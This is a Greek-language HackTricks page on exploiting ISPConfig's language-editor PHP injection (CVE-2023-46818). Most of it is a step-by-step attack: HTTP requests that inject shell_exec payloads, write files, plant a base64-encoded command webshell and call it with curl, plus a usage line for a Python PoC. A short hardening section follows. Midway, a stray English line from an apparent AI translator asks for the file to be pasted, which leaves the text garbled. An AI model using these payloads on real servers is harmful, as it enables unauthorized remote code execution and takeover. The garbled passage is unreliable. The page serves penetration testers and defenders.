ISPConfig

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

ISPConfig είναι ένα open-source hosting control panel. Οι παλαιότερες εκδόσεις 3.2.x περιείχαν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον υπερ-διαχειριστή, επέτρεπε arbitrary PHP code injection μέσω ενός κατεστραμμένου εγγραφής μετάφρασης. Αυτό μπορεί να οδηγήσει σε RCE στο περιβάλλον του web server και, ανάλογα με τον τρόπο που εκτελείται το PHP, σε privilege escalation.

Βασικές προεπιλεγμένες διαδρομές:

  • Το web root βρίσκεται συχνά στο /var/www/ispconfig όταν σερβίρεται με php -S ή μέσω Apache/nginx.
  • Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο στο localhost; χρησιμοποιήστε SSH port-forward αν χρειάζεται).

Συμβουλή: Αν το panel είναι δεσμευμένο τοπικά (π.χ. 127.0.0.1:8080), προωθήστε το:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Επεξεργαστής γλώσσας PHP code injection (CVE-2023-46818)

  • Ευπαθείς εκδόσεις: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Προαπαιτούμενα:
  • Κάντε login ως ο ενσωματωμένος superadmin λογαριασμός admin (άλλοι ρόλοι δεν επηρεάζονται σύμφωνα με τον προμηθευτή)
  • Ο επεξεργαστής γλώσσας πρέπει να είναι ενεργοποιημένος: admin_allow_langedit=yes στο /usr/local/ispconfig/security/security_settings.ini
  • Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο web περιβάλλον

Αναφορές: NVD entry CVE-2023-46818 και σύνδεσμος ειδοποίησης του προμηθευτή στην ενότητα References παρακάτω.

Χειροκίνητη ροή εκμετάλλευσης

  1. Άνοιγμα/δημιουργία αρχείου γλώσσας για απόκτηση CSRF tokens

Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και να απομονώσετε τα πεδία CSRF από την HTML απάντηση (csrf_id, csrf_key). Παράδειγμα request path: /admin/language_edit.php.

  1. Εισαγωγή PHP μέσω records[] και αποθήκευση

Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και ένα κακόβουλο translation record. Ελάχιστες δοκιμές εκτέλεσης εντολών:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (παρατήρηση ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Γράψτε αρχεία και τοποθετήστε ένα webshell

Χρησιμοποιήστε τη file_put_contents για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Στη συνέχεια γράψε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγεις μη επιθυμητούς χαρακτήρες στο POST body:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don't have the file contents. Please paste the markdown text from src/network-services-pentesting/pentesting-web/ispconfig.md that you want translated to Greek. I'll translate the English parts and keep all code, links, tags and paths unchanged.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Αν το PHP εκτελείται ως root (π.χ. μέσω php -S 127.0.0.1:8080 που ξεκίνησε από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε εκτέλεση κώδικα ως ο χρήστης του web server.

Python PoC

Ένα έτοιμο exploit αυτοματοποιεί το token handling και την παράδοση του payload:

Παράδειγμα εκτέλεσης:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Σκληροποίηση

  • Αναβαθμίστε σε 3.2.11p1 ή νεότερη
  • Απενεργοποιήστε τον επεξεργαστή γλώσσας εκτός αν είναι απολύτως απαραίτητο:
admin_allow_langedit=no
  • Αποφύγετε να τρέχετε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server ώστε να μειώνουν τα προνόμια
  • Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό admin

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks